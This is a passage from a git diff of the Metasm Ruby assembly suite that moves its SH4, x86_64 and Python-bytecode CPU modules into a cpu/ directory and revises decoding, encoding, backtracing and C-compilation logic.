'BINARY_OR', 66 + addop 'INPLACE_POWER', 67 + addop 'GET_ITER', 68 + + addop 'PRINT_EXPR', 70 + addop 'PRINT_ITEM', 71 + addop 'PRINT_NEWLINE', 72 + addop 'PRINT_ITEM_TO', 73 + addop 'PRINT_NEWLINE_TO', 74 + addop 'INPLACE_LSHIFT', 75 + addop 'INPLACE_RSHIFT', 76 + addop 'INPLACE_AND', 77 + addop 'INPLACE_XOR', 78 + addop 'INPLACE_OR', 79 + addop 'BREAK_LOOP', 80 + addop 'WITH_CLEANUP', 81 + addop 'LOAD_LOCALS', 82 + addop 'RETURN_VALUE', 83 + addop 'IMPORT_STAR', 84 + addop 'EXEC_STMT', 85 + addop 'YIELD_VALUE', 86 + addop 'POP_BLOCK', 87 + addop 'END_FINALLY', 88 + addop 'BUILD_CLASS', 89 + + #addop 'HAVE_ARGUMENT', 90 #/* Opcodes from here have an argument: */ + + addop 'STORE_NAME', 90 #/* Index in name list */ + addop 'DELETE_NAME', 91 #/* "" */ + addop 'UNPACK_SEQUENCE', 92 #/* Number of sequence items */ + addop 'FOR_ITER', 93, :setip + addop 'LIST_APPEND', 94 + + addop 'STORE_ATTR', 95 #/* Index in name list */ + addop 'DELETE_ATTR', 96 #/* "" */ + addop 'STORE_GLOBAL', 97 #/* "" */ + addop 'DELETE_GLOBAL', 98 #/* "" */ + addop 'DUP_TOPX', 99 #/* number of items to duplicate */ + addop 'LOAD_CONST', 100 #/* Index in const list */ + addop 'LOAD_NAME', 101 #/* Index in name list */ + addop 'BUILD_TUPLE', 102 #/* Number of tuple items */ + addop 'BUILD_LIST', 103 #/* Number of list items */ + addop 'BUILD_SET', 104 #/* Number of set items */ + addop 'BUILD_MAP', 105 #/* Always zero for now */ + addop 'LOAD_ATTR', 106 #/* Index in name list */ + addop 'COMPARE_OP', 107, :cmp #/* Comparison operator */ + addop 'IMPORT_NAME', 108 #/* Index in name list */ + addop 'IMPORT_FROM', 109 #/* Index in name list */ + addop 'JUMP_FORWARD', 110, :setip, :stopexec #/* Number of bytes to skip */ + + addop 'JUMP_IF_FALSE_OR_POP', 111, :setip #/* Target byte offset from beginning of code */ + addop 'JUMP_IF_TRUE_OR_POP', 112, :setip #/* "" */ + addop 'JUMP_ABSOLUTE', 113, :setip, :stopexec #/* "" */ + addop 'POP_JUMP_IF_FALSE', 114, :setip #/* "" */ + addop 'POP_JUMP_IF_TRUE', 115, :setip #/* "" */ + + addop 'LOAD_GLOBAL', 116 #/* Index in name list */ + + addop 'CONTINUE_LOOP', 119 #/* Start of loop (absolute) */ + addop 'SETUP_LOOP', 120 #/* Target address (relative) */ + addop 'SETUP_EXCEPT', 121 #/* "" */ + addop 'SETUP_FINALLY', 122 #/* "" */ + + addop 'LOAD_FAST', 124 #/* Local variable number */ + addop 'STORE_FAST', 125 #/* Local variable number */ + addop 'DELETE_FAST', 126 #/* Local variable number */ + + addop 'RAISE_VARARGS', 130 #/* Number of raise arguments (1, 2 or 3) */ + #/* CALL_FUNCTION_XXX opcodes defined below depend on this definition */ + addop 'CALL_FUNCTION', 131, :u8, :u8, :setip #/* #args + (#kwargs<<8) */ + addop 'MAKE_FUNCTION', 132 #/* #defaults */ + addop 'BUILD_SLICE', 133 #/* Number of items */ + + addop 'MAKE_CLOSURE', 134 #/* #free vars */ + addop 'LOAD_CLOSURE', 135 #/* Load free variable from closure */ + addop 'LOAD_DEREF', 136 #/* Load and dereference from closure cell */ + addop 'STORE_DEREF', 137 #/* Store into cell */ + + #/* The next 3 opcodes must be contiguous and satisfy (CALL_FUNCTION_VAR - CALL_FUNCTION) & 3 == 1 */ + addop 'CALL_FUNCTION_VAR', 140, :u8, :u8, :setip #/* #args + (#kwargs<<8) */ + addop 'CALL_FUNCTION_KW', 141, :u8, :u8, :setip #/* #args + (#kwargs<<8) */ + addop 'CALL_FUNCTION_VAR_KW', 142, :u8, :u8, :setip #/* #args + (#kwargs<<8) */ + + addop 'SETUP_WITH', 143 + + #/* Support for opargs more than 16 bits long */ + addop 'EXTENDED_ARG', 145 + + addop 'SET_ADD', 146 + addop 'MAP_ADD', 147 + end +end +end diff --git a/lib/metasm/metasm/sh4.rb b/lib/metasm/metasm/cpu/sh4.rb similarity index 86% rename from lib/metasm/metasm/sh4.rb rename to lib/metasm/metasm/cpu/sh4.rb index 70f7307189..4be5b1fa2d 100644 --- a/lib/metasm/metasm/sh4.rb +++ b/lib/metasm/metasm/cpu/sh4.rb @@ -5,4 +5,4 @@ require 'metasm/main' -require 'metasm/sh4/decode' +require 'metasm/cpu/sh4/decode' diff --git a/lib/metasm/metasm/sh4/decode.rb b/lib/metasm/metasm/cpu/sh4/decode.rb similarity index 85% rename from lib/metasm/metasm/sh4/decode.rb rename to lib/metasm/metasm/cpu/sh4/decode.rb index 75f6196e68..7e0629ddcf 100644 --- a/lib/metasm/metasm/sh4/decode.rb +++ b/lib/metasm/metasm/cpu/sh4/decode.rb @@ -3,7 +3,7 @@ # # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/sh4/opcodes' +require 'metasm/cpu/sh4/opcodes' require 'metasm/decode' module Metasm @@ -39,7 +39,7 @@ class Sh4 end def decode_findopcode(edata) - return if edata.ptr >= edata.data.length + return if edata.ptr >= edata.length di = DecodedInstruction.new(self) val = edata.decode_imm(:u16, @endianness) @@ -110,7 +110,6 @@ class Sh4 when :pr; PR.new when :fpul; FPUL.new when :fpscr; FPSCR.new - when :dbr; DBR.new when :pc; PC.new when :@rm, :@rn, :@disppc @@ -137,25 +136,49 @@ class Sh4 } di.bin_length += edata.ptr - before_ptr + + return if edata.ptr > edata.length + di end def disassembler_default_func df = DecodedFunction.new df.backtrace_binding = {} - 15.times { |i| df.backtrace_binding["r#{i}".to_sym] = Expression::Unknown } + (0..7 ).each { |i| r = "r#{i}".to_sym ; df.backtrace_binding[r] = Expression::Unknown } + (8..15).each { |i| r = "r#{i}".to_sym ; df.backtrace_binding[r] = Expression[r] } df.backtracked_for = [BacktraceTrace.new(Expression[:pr], :default, Expression[:pr], :x)] df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr| if funcaddr != :default btfor elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip] btfor - else [] + else + [] end } df end + def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) + retaddrlist.map! { |retaddr| dasm.decoded[retaddr] ? dasm.decoded[retaddr].block.list.last.address : retaddr } if retaddrlist + b = f.backtrace_binding + + bt_val = lambda { |r| + next if not retaddrlist + bt = [] + b[r] = Expression::Unknown # break recursive dep + retaddrlist.each { |retaddr| + bt |= dasm.backtrace(Expression[r], retaddr, + :include_start => true, :snapshot_addr => faddr, :origin => retaddr) + } + b[r] = ((bt.length == 1) ? bt.first : Expression::Unknown) + } + wantregs = GPR::Sym if wantregs.empty? + wantregs.map { |r| r.to_sym }.each(&bt_val) + end + + # interprets a condition code (in an opcode name) as an expression def decode_cmp_expr(di, a0, a1) case di.opcode.name @@ -197,6 +220,7 @@ class Sh4 when 'stc.w', 'stc.b', 'mov.w', 'mov.b' lambda { |di, a0, a1| { a1 => Expression[a0, :&, mask[di]] }} when 'movt'; lambda { |di, a0| { a0 => :t_bit }} + when 'mova'; lambda { |di, a0, a1| { a1 => Expression[a0] }} when 'exts.b', 'exts.w', 'extu.w' lambda { |di, a0, a1| { a1 => Expression[a0, :&, mask[di]] }} when 'cmp/eq', 'cmp/ge', 'cmp/ge', 'cmp/gt', 'cmp/hi', 'cmp/hs' @@ -212,12 +236,12 @@ class Sh4 when 'clrt'; lambda { |di| { :t_bit => 0 }} when 'clrmac'; lambda { |di| { :macl => 0, :mach => 0 }} when 'jmp'; lambda { |di, a0| { :pc => a0 }} - when 'jsr'; lambda { |di, a0| { :pc => Expression[a0], :pr => Expression[di.address+2*2] }} + when 'jsr', 'bsr', 'bsrf'; lambda { |di, a0| { :pc => Expression[a0], :pr => Expression[di.address, :+, 2*2] }} when 'dt'; lambda { |di, a0| res = Expression[a0, :-, 1] { :a0 => res, :t_bit => Expression[res, :==, 0] } } - when 'add' ; lambda { |di, a0, a1| { a1 => Expression[a0, :+, a1] }} + when 'add' ; lambda { |di, a0, a1| { a1 => Expression[[a0, :+, a1], :&, 0xffff_ffff] }} when 'addc' ; lambda { |di, a0, a1| res = Expression[[a0, :&, mask[di]], :+, [[a1, :&, mask[di]], :+, :t_bit]] { a1 => Expression[a0, :+, [a1, :+, :t_bit]], :t_bit => Expression[res, :>, mask[di]] } @@ -252,17 +276,16 @@ class Sh4 shift_bit = Expression[a0, :&, 1] { a0 => Expression[a0, :>>, 1], :t_bit => shift_bit } } - when 'sub'; lambda { |di, a0, a1| { a1 => Expression[a0, :-, a1] }} - when 'subc'; lambda { |di, a0, a1| { a1 => Expression[a0, :-, [a1, :-, :t_bit]] }} + when 'sub'; lambda { |di, a0, a1| { a1 => Expression[[a1, :-, a0], :&, 0xffff_ffff] }} + when 'subc'; lambda { |di, a0, a1| { a1 => Expression[a1, :-, [a0, :-, :t_bit]] }} when 'and', 'and.b'; lambda { |di, a0, a1| { a1 => Expression[[a0, :&, mask[di]], :|, [[a1, :&, mask[di]]]] }} when 'or', 'or.b'; lambda { |di, a0, a1| { a1 => Expression[[a0, :|, mask[di]], :|, [[a1, :&, mask[di]]]] }} when 'xor', 'xor.b'; lambda { |di, a0, a1| { a1 => Expression[[a0, :|, mask[di]], :^, [[a1, :&, mask[di]]]] }} - when 'add', 'addc', 'addv'; lambda { |di, a0, a1| { a1 => Expression[a0, :+, a1] }} when 'neg' ; lambda { |di, a0, a1| { a1 => Expression[mask[di], :-, a0] }} when 'negc' ; lambda { |di, a0, a1| { a1 => Expression[[[mask[di], :-, a0], :-, :t_bit], :&, mask[di]] }} when 'not'; lambda { |di, a0, a1| { a1 => Expression[a0, :^, mask[di]] }} - when 'nop'; lambda { {} } - when /^b/; lambda { {} } # branches + when 'nop'; lambda { |*a| {} } + when /^b/; lambda { |*a| {} } # branches end } @@ -283,12 +306,15 @@ class Sh4 if binding = backtrace_binding[di.opcode.basename] bd = binding[di, *a] || {} di.instruction.args.grep(Memref).each { |m| - if m.post - # TODO preincrement/postdecrement - bd.each { |k, v| bd[k] = v.bind(r => Expression[r, :+, 1]) } - bd[r] ||= Expression[r, :+, 1] + next unless r = m.base and r.kind_of?(GPR) + r = r.symbolic + case m.action + when :post + bd[r] ||= Expression[r, :+, di.opcode.props[:memsz]/8] + when :pre + bd[r] ||= Expression[r, :-, di.opcode.props[:memsz]/8] end - } if false + } bd else puts "unhandled instruction to backtrace: #{di}" if $VERBOSE @@ -310,6 +336,11 @@ class Sh4 else val end + val = case di.instruction.opname + when 'braf', 'bsrf'; Expression[[di.address, :+, 4], :+, val] + else val + end + [Expression[val]] end diff --git a/lib/metasm/metasm/sh4/main.rb b/lib/metasm/metasm/cpu/sh4/main.rb similarity index 93% rename from lib/metasm/metasm/sh4/main.rb rename to lib/metasm/metasm/cpu/sh4/main.rb index 861cae89e4..46ee31b242 100644 --- a/lib/metasm/metasm/sh4/main.rb +++ b/lib/metasm/metasm/cpu/sh4/main.rb @@ -257,6 +257,8 @@ class Sh4 < CPU b = @base b = b.symbolic if b.kind_of? Reg + b = Expression[b, :-, sz/8] if @action == :pre + if disp o = @disp o = o.symbolic if o.kind_of? Reg @@ -272,12 +274,16 @@ class Sh4 < CPU def render if @disp - ['@(', @base, ',', @disp, ')'] + #['@(', @base, ',', @disp, ')'] + ['[', @base, '+', @disp, ']'] else case @action - when :pre then ['@-', @base] - when :post then ['@', @base, '+'] - else ['@', @base] + when :pre then ['[--', @base, ']'] + when :post then ['[', @base, '++]'] + else ['[', @base, ']'] + #when :pre then ['@-', @base] + #when :post then ['@', @base, '+'] + #else ['@', @base] end end end @@ -288,5 +294,8 @@ class Sh4 < CPU init end + def dbg_register_list + @dbg_register_list ||= GPR::Sym + end end end diff --git a/lib/metasm/metasm/sh4/opcodes.rb b/lib/metasm/metasm/cpu/sh4/opcodes.rb similarity index 98% rename from lib/metasm/metasm/sh4/opcodes.rb rename to lib/metasm/metasm/cpu/sh4/opcodes.rb index 8cc248a1b6..6b4913b49d 100644 --- a/lib/metasm/metasm/sh4/opcodes.rb +++ b/lib/metasm/metasm/cpu/sh4/opcodes.rb @@ -3,18 +3,17 @@ # # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/sh4/main' +require 'metasm/cpu/sh4/main' module Metasm class Sh4 def addop(name, bin, *args) o = Opcode.new name, bin - o.args.concat(args & @fields_mask.keys) - (args & @valid_props).each { |p| o.props[p] = true } - - (args & @fields_mask.keys).each { |f| - o.fields[f] = [@fields_mask[f], @fields_shift[f]] + args.each { |a| + o.args << a if @fields_mask[a] + o.props[a] = true if @valid_props[a] + o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] } @opcode_list << o @@ -74,7 +73,7 @@ class Sh4 # implicit operands [:vbr, :gbr, :sr, :ssr, :spc, :sgr, :dbr, :mach, :macl, :pr, :fpul, :fpscr, :dbr, :pc, :r0].each { |a| @fields_mask[a] = @fields_shift[a] = 0 } - @valid_props = [:setip, :saveip, :stopexec , :delay_slot] + @valid_props[:delay_slot] = true addop 'add', 0b0011 << 12 | 0b1100, :rm, :rn addop 'add', 0b0111 << 12, :s8, :rn @@ -275,7 +274,7 @@ class Sh4 addop 'mov.w', 0b10000101 << 8, :@disprm, :r0 addop 'mova', 0b11000111 << 8, :disppc, :r0 # calculates an effective address using PC-relative with displacement addressing - addop 'movca.l', 0b0000 << 12 | 11000011, :r0, :@rn # stores the long-word in R0 to memory at the effective address specified in Rn. + addop 'movca.l', 0b0000 << 12 | 11000011, :r0, :@rn # stores the long-word in R0 to memory at the effective address specified in Rn. addop 'movt', 0b0000 << 12 | 0b00101001, :rn # copies the T-bit to Rn diff --git a/lib/metasm/metasm/cpu/x86_64.rb b/lib/metasm/metasm/cpu/x86_64.rb new file mode 100644 index 0000000000..19fc3fce1e --- /dev/null +++ b/lib/metasm/metasm/cpu/x86_64.rb @@ -0,0 +1,15 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +class Metasm::X86_64 < Metasm::Ia32 +end + +require 'metasm/main' +require 'metasm/cpu/x86_64/parse' +require 'metasm/cpu/x86_64/encode' +require 'metasm/cpu/x86_64/decode' +require 'metasm/cpu/x86_64/render' +require 'metasm/cpu/x86_64/debug' +require 'metasm/cpu/x86_64/compile_c' diff --git a/lib/metasm/metasm/x86_64/compile_c.rb b/lib/metasm/metasm/cpu/x86_64/compile_c.rb similarity index 95% rename from lib/metasm/metasm/x86_64/compile_c.rb rename to lib/metasm/metasm/cpu/x86_64/compile_c.rb index 4832b0349a..2cb133becd 100644 --- a/lib/metasm/metasm/x86_64/compile_c.rb +++ b/lib/metasm/metasm/cpu/x86_64/compile_c.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/x86_64/parse' +require 'metasm/cpu/x86_64/parse' require 'metasm/compile_c' module Metasm @@ -222,11 +222,11 @@ class CCompiler < C::Compiler if e2.sz == 64 and e.sz == 32 if op == 'movsx' instr 'movsxd', e2, e - else + else instr 'mov', Reg.new(e2.val, 32), e - end + end else - instr op, e2, e + instr op, e2, e end else e2 = inuse findreg(sz) @@ -236,7 +236,7 @@ class CCompiler < C::Compiler e2 elsif type.float? raise 'float unhandled' - else raise + else raise "cannot cast #{e} to #{type}" end elsif e.kind_of? Address make_volatile resolve_address(e), type, rsz @@ -247,6 +247,7 @@ class CCompiler < C::Compiler e2 elsif type.float? raise 'float unhandled' + else raise "cannot cast #{e} to #{type}" end else e @@ -262,7 +263,7 @@ class CCompiler < C::Compiler elsif i >= (1<<64)-0x8000_0000 v = Expression[Expression.make_signed(i, 64)] else - v = make_volatile(v) + v = make_volatile(v, C::BaseType.new(:int)) unuse v end end @@ -412,12 +413,11 @@ class CCompiler < C::Compiler instr 'mov', Reg.new(reg.val, 32), r end else - instr op, reg, r + instr op, reg, r end r = reg end end - else raise end r end @@ -512,6 +512,7 @@ class CCompiler < C::Compiler end when :- r = c_cexpr_inner(expr.rexpr) + r = resolve_address r if r.kind_of? Address if r.kind_of? Expression unuse l, r l = Address.new(l.modrm.dup) @@ -574,6 +575,13 @@ class CCompiler < C::Compiler else instr 'mov', l, Reg.new(r.val, l.sz) end + elsif l.kind_of? ModRM and r.kind_of? Expression and l.sz == 64 + rval = r.reduce + if !rval.kind_of?(Integer) or rval > 0xffff_ffff or rval < -0x8000_0000 + r = make_volatile(r, expr.type) + unuse r + end + instr 'mov', l, r else instr 'mov', l, r end @@ -586,6 +594,7 @@ class CCompiler < C::Compiler l = c_cexpr_inner(expr.lexpr) l = make_volatile(l, expr.type) r = c_cexpr_inner(expr.rexpr) + r = make_volatile(r, expr.type) if r.kind_of?(ModRM) and r.sz != l.sz unuse r if expr.lexpr.type.integral? or expr.lexpr.type.pointer? instr 'cmp', l, i_to_i32(r) @@ -611,13 +620,12 @@ class CCompiler < C::Compiler ft = ft.pointed if ft.pointer? ft = nil if not ft.kind_of? C::Function - arglist = expr.rexpr.dup regargsmask = @state.regargs.dup if ft ft.args.each_with_index { |a, i| if rn = a.has_attribute_var('register') regargsmask.insert(i, Reg.from_str(rn).val) - end + end } end regargsmask = regargsmask[0, expr.rexpr.length] @@ -639,8 +647,8 @@ class CCompiler < C::Compiler stackargs = expr.rexpr.zip(regargsmask).map { |a, r| a if not r }.compact # preserve 16byte stack align under windows - stackalign = true if (stackargs + backup).length & 1 == 1 - instr 'push', rax if stackalign + stackalign = true if @state.args_space > 0 and (stackargs + backup).length & 1 == 1 + instr 'sub', Reg.new(4, @cpusz), Expression[8] if stackalign stackargs.reverse_each { |arg| raise 'arg unhandled' if not arg.type.integral? or arg.type.pointer? @@ -652,7 +660,7 @@ class CCompiler < C::Compiler } regargs_unuse = [] - regargsmask.zip(expr.rexpr).each { |ra, arg| + regargsmask.zip(expr.rexpr).reverse_each { |ra, arg| next if not arg or not ra a = c_cexpr_inner(arg) a = resolve_address a if a.kind_of? Address @@ -666,9 +674,9 @@ class CCompiler < C::Compiler if ft.kind_of? C::Function and ft.varargs and @state.args_space == 0 # gcc stores here the nr of xmm args passed, real args are passed the standard way - # TODO check visualstudio/ms ABI instr 'xor', rax, rax inuse rax + regargs_unuse << rax end @@ -699,6 +707,7 @@ class CCompiler < C::Compiler else instr 'pop', Reg.new(reg, 64) end + inuse getreg(reg) } retreg end @@ -750,8 +759,10 @@ class CCompiler < C::Compiler case op when 'add', 'sub', 'and', 'or', 'xor' - r = make_volatile(r, type) if l.kind_of? ModRM and r.kind_of? ModRM + r = make_volatile(r, type) if l.kind_of?(ModRM) and r.kind_of?(ModRM) + r = make_volatile(r, type) if r.kind_of?(ModRM) and r.sz != l.sz # add rax, word [moo] unuse r + r = Reg.new(r.val, l.sz) if r.kind_of?(Reg) and l.kind_of?(ModRM) and l.sz and l.sz != r.sz # add byte ptr [rax], bl instr op, l, i_to_i32(r) when 'shr', 'sar', 'shl' if r.kind_of? Expression @@ -780,6 +791,7 @@ class CCompiler < C::Compiler end instr 'mov', l, ll else + r = make_volatile(r, type) if r.kind_of?(ModRM) and r.sz != l.sz instr 'imul', l, r end unuse r @@ -866,6 +878,8 @@ class CCompiler < C::Compiler l = c_cexpr_inner(expr.lexpr) r = c_cexpr_inner(expr.rexpr) r = make_volatile(r, expr.type) if r.kind_of? ModRM and l.kind_of? ModRM + r = make_volatile(r, expr.type) if r.kind_of?(ModRM) and r.sz != l.sz + l = make_volatile(l, expr.type) if l.kind_of?(ModRM) if l.kind_of? Expression o = { :< => :>, :> => :<, :>= => :<=, :<= => :>= }[o] || o l, r = r, l @@ -951,7 +965,7 @@ class CCompiler < C::Compiler end @state.offset[a] = off else - @state.offset[a] = -argoff + @state.offset[a] = -argoff argoff = (argoff + sizeof(a) + 7) / 8 * 8 end } @@ -1011,10 +1025,6 @@ class CCompiler < C::Compiler def c_program_epilog end - - def check_reserved_name(var) - Reg.s_to_i[var.name] - end end def new_ccompiler(parser, exe=ExeFormat.new) diff --git a/lib/metasm/metasm/x86_64/debug.rb b/lib/metasm/metasm/cpu/x86_64/debug.rb similarity index 90% rename from lib/metasm/metasm/x86_64/debug.rb rename to lib/metasm/metasm/cpu/x86_64/debug.rb index 3559d91f70..10d35e5507 100644 --- a/lib/metasm/metasm/x86_64/debug.rb +++ b/lib/metasm/metasm/cpu/x86_64/debug.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/x86_64/opcodes' +require 'metasm/cpu/x86_64/opcodes' module Metasm class X86_64 @@ -15,7 +15,7 @@ class X86_64 @dbg_register_flags ||= :rflags end - def dbg_register_list + def dbg_register_list @dbg_register_list ||= [:rax, :rbx, :rcx, :rdx, :rsi, :rdi, :rbp, :rsp, :r8, :r9, :r10, :r11, :r12, :r13, :r14, :r15, :rip] end @@ -40,10 +40,10 @@ class X86_64 end def dbg_func_arg_set(dbg, argnr, arg) if dbg.class.name =~ /win/i - list = [] + list = [:rcx, :rdx, :r8, :r9] off = 0x20 else - list = [] + list = [:rdi, :rsi, :rdx, :rcx, :r8, :r9] off = 0 end if r = list[argnr] diff --git a/lib/metasm/metasm/x86_64/decode.rb b/lib/metasm/metasm/cpu/x86_64/decode.rb similarity index 73% rename from lib/metasm/metasm/x86_64/decode.rb rename to lib/metasm/metasm/cpu/x86_64/decode.rb index 5e9032e72b..59729fa054 100644 --- a/lib/metasm/metasm/x86_64/decode.rb +++ b/lib/metasm/metasm/cpu/x86_64/decode.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/x86_64/opcodes' +require 'metasm/cpu/x86_64/opcodes' require 'metasm/decode' module Metasm @@ -15,7 +15,7 @@ class X86_64 rm = byte & 7 if m == 3 - rm |= 8 if pfx[:rex_b] + rm |= 8 if pfx[:rex_b] and (regclass != SimdReg or opsz != 64) # mm8 -> mm0 return regclass.new(rm, opsz) end @@ -30,10 +30,15 @@ class X86_64 sib = edata.get_byte.to_i ii = (sib >> 3) & 7 - ii |= 8 if pfx[:rex_x] + ii |= 8 if pfx[:rex_x] if ii != 4 s = 1 << ((sib >> 6) & 3) - i = Reg.new(ii, adsz) + if pfx[:mrmvex] + i = SimdReg.new(ii, pfx[:mrmvex]) + else + i = Reg.new(ii, adsz) + end + end bb = sib & 7 @@ -62,6 +67,7 @@ class X86_64 imm = Expression[imm.reduce & ((1 << adsz) - 1)] end + opsz = pfx[:argsz] if pfx[:argsz] new adsz, opsz, s, i, b, imm, seg end end @@ -103,7 +109,26 @@ class X86_64 v } - opsz = op.props[:argsz] || (pfx[:rex_w] ? 64 : (pfx[:opsz] ? 16 : (op.props[:auto64] ? 64 : 32))) + pfx[:rex_r] = 1 if op.fields[:vex_r] and field_val[:vex_r] == 0 + pfx[:rex_b] = 1 if op.fields[:vex_b] and field_val[:vex_b] == 0 + pfx[:rex_x] = 1 if op.fields[:vex_x] and field_val[:vex_x] == 0 + pfx[:rex_w] = 1 if op.fields[:vex_w] and field_val[:vex_w] == 1 + di.instruction.prefix = pfx if not di.instruction.prefix and not pfx.empty? # for opsz(di) + vex_w + + case op.props[:needpfx] + when 0x66; pfx.delete :opsz + when 0x67; pfx.delete :adsz + when 0xF2, 0xF3; pfx.delete :rep + end + + if op.props[:setip] and not op.props[:stopexec] and pfx[:seg] + case pfx.delete(:seg).val + when 1; pfx[:jmphint] = 'hintnojmp' + when 3; pfx[:jmphint] = 'hintjmp' + end + end + + opsz = op.props[:argsz] || opsz(di) adsz = pfx[:adsz] ? 32 : 64 mmxsz = (op.props[:xmmx] && pfx[:opsz]) ? 128 : 64 @@ -112,22 +137,31 @@ class X86_64 when :reg; Reg.new field_val_r[a], opsz when :eeec; CtrlReg.new field_val_r[a] when :eeed; DbgReg.new field_val_r[a] + when :eeet; TstReg.new field_val_r[a] when :seg2, :seg2A, :seg3, :seg3A; SegReg.new field_val[a] - when :regmmx; SimdReg.new field_val_r[a], mmxsz + when :regmmx; SimdReg.new field_val[a], mmxsz # rex_r ignored when :regxmm; SimdReg.new field_val_r[a], 128 + when :regymm; SimdReg.new field_val_r[a], 256 when :farptr; Farptr.decode edata, @endianness, opsz when :i8, :u8, :i16, :u16, :i32, :u32, :i64, :u64; Expression[edata.decode_imm(a, @endianness)] when :i # 64bit constants are sign-extended from :i32 type = (opsz == 64 ? op.props[:imm64] ? :a64 : :i32 : "#{op.props[:unsigned_imm] ? 'a' : 'i'}#{opsz}".to_sym ) - v = edata.decode_imm(type, @endianness) + v = edata.decode_imm(type, @endianness) v &= 0xffff_ffff_ffff_ffff if opsz == 64 and op.props[:unsigned_imm] and v.kind_of? Integer Expression[v] - when :mrm_imm; ModRM.new(adsz, opsz, nil, nil, nil, Expression[edata.decode_imm("a#{adsz}".to_sym, @endianness)], pfx[:seg]) - when :modrm, :modrmA; ModRM.decode edata, field_val[a], @endianness, adsz, opsz, pfx[:seg], Reg, pfx - when :modrmmmx; ModRM.decode edata, field_val[:modrm], @endianness, adsz, mmxsz, pfx[:seg], SimdReg, pfx - when :modrmxmm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 128, pfx[:seg], SimdReg, pfx + when :mrm_imm; ModRM.new(adsz, opsz, nil, nil, nil, Expression[edata.decode_imm("a#{adsz}".to_sym, @endianness)], pfx.delete(:seg)) + when :modrm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, opsz, pfx.delete(:seg), Reg, pfx + when :modrmmmx; ModRM.decode edata, field_val[:modrm], @endianness, adsz, mmxsz, pfx.delete(:seg), SimdReg, pfx.merge(:argsz => op.props[:argsz]) + when :modrmxmm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 128, pfx.delete(:seg), SimdReg, pfx.merge(:argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex]) + when :modrmymm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 256, pfx.delete(:seg), SimdReg, pfx.merge(:argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex]) + + when :vexvreg; Reg.new((field_val[:vex_vvvv] ^ 0xf), opsz) + when :vexvxmm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 128) + when :vexvymm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 256) + when :i4xmm; SimdReg.new(edata.decode_imm(:u8, @endianness) >> 4, 128) + when :i4ymm; SimdReg.new(edata.decode_imm(:u8, @endianness) >> 4, 256) when :regfp; FpReg.new field_val[a] when :imm_val1; Expression[1] @@ -142,6 +176,8 @@ class X86_64 di.bin_length += edata.ptr - before_ptr + return if edata.ptr > edata.length + if op.name == 'movsx' or op.name == 'movzx' or op.name == 'movsxd' if op.name == 'movsxd' di.instruction.args[1].sz = 32 @@ -157,12 +193,13 @@ class X86_64 else di.instruction.args[0].sz = 32 end + elsif op.name == 'crc32' + di.instruction.args[0].sz = 32 end # sil => bh di.instruction.args.each { |a| a.val += 12 if a.kind_of? Reg and a.sz == 8 and not pfx[:rex] and a.val >= 4 and a.val <= 8 } - pfx.delete :seg case pfx.delete(:rep) when :nz if di.opcode.props[:strop] @@ -194,18 +231,24 @@ class X86_64 di end - def opsz(di) + def opsz(di, op=nil) if di and di.instruction.prefix and di.instruction.prefix[:rex_w]; 64 - elsif di and di.instruction.prefix and di.instruction.prefix[:opsz]; 16 - elsif di and di.opcode.props[:auto64]; 64 + elsif di and di.instruction.prefix and di.instruction.prefix[:opsz] and (op || di.opcode).props[:needpfx] != 0x66; 16 + elsif di and (op || di.opcode).props[:auto64]; 64 else 32 end end + def adsz(di, op=nil) + if di and di.instruction.prefix and di.instruction.prefix[:adsz] and (op || di.opcode).props[:needpfx] != 0x67; 32 + else 64 + end + end + def register_symbols [:rax, :rcx, :rdx, :rbx, :rsp, :rbp, :rsi, :rdi, :r8, :r9, :r10, :r11, :r12, :r13, :r14, :r15] end - + # returns a DecodedFunction from a parsed C function prototype def decode_c_function_prototype(cp, sym, orig=nil) sym = cp.toplevel.symbol[sym] if sym.kind_of?(::String) @@ -235,7 +278,7 @@ class X86_64 end al = cp.typesize[:ptr] - df.backtrace_binding[:rsp] = Expression[:rsp, :+, al] + df.backtrace_binding[:rsp] = Expression[:rsp, :+, al] # scan args for function pointers # TODO walk structs/unions.. diff --git a/lib/metasm/metasm/x86_64/encode.rb b/lib/metasm/metasm/cpu/x86_64/encode.rb similarity index 77% rename from lib/metasm/metasm/x86_64/encode.rb rename to lib/metasm/metasm/cpu/x86_64/encode.rb index ed77d7500d..cba3e13c8f 100644 --- a/lib/metasm/metasm/x86_64/encode.rb +++ b/lib/metasm/metasm/cpu/x86_64/encode.rb @@ -4,7 +4,7 @@ # Licence is LGPL, see LICENCE in the top-level directory -require 'metasm/x86_64/opcodes' +require 'metasm/cpu/x86_64/opcodes' require 'metasm/encode' module Metasm @@ -64,7 +64,7 @@ class X86_64 # sib or_bits[4] - @b, @i = @i, @b if @s == 1 and (@i.val_enc == 4 or @b.val_enc == 5) + @b, @i = @i, @b if @s == 1 and @i.kind_of?(Reg) and (@i.val_enc == 4 or @b.val_enc == 5) raise EncodeError, "Invalid ModRM #{self}" if @i.val == 4 @@ -116,23 +116,30 @@ class X86_64 case k when :jmp; {:jmp => 0x3e, :nojmp => 0x2e}[v] when :lock; 0xf0 - when :rep; {'repnz' => 0xf2, 'repz' => 0xf3, 'rep' => 0xf2}[v] # TODO + when :rep; {'repnz' => 0xf2, 'repz' => 0xf3, 'rep' => 0xf2}[v] + when :jmphint; {'hintjmp' => 0x3e, 'hintnojmp' => 0x2e}[v] + when :seg; [0x26, 0x2E, 0x36, 0x3E, 0x64, 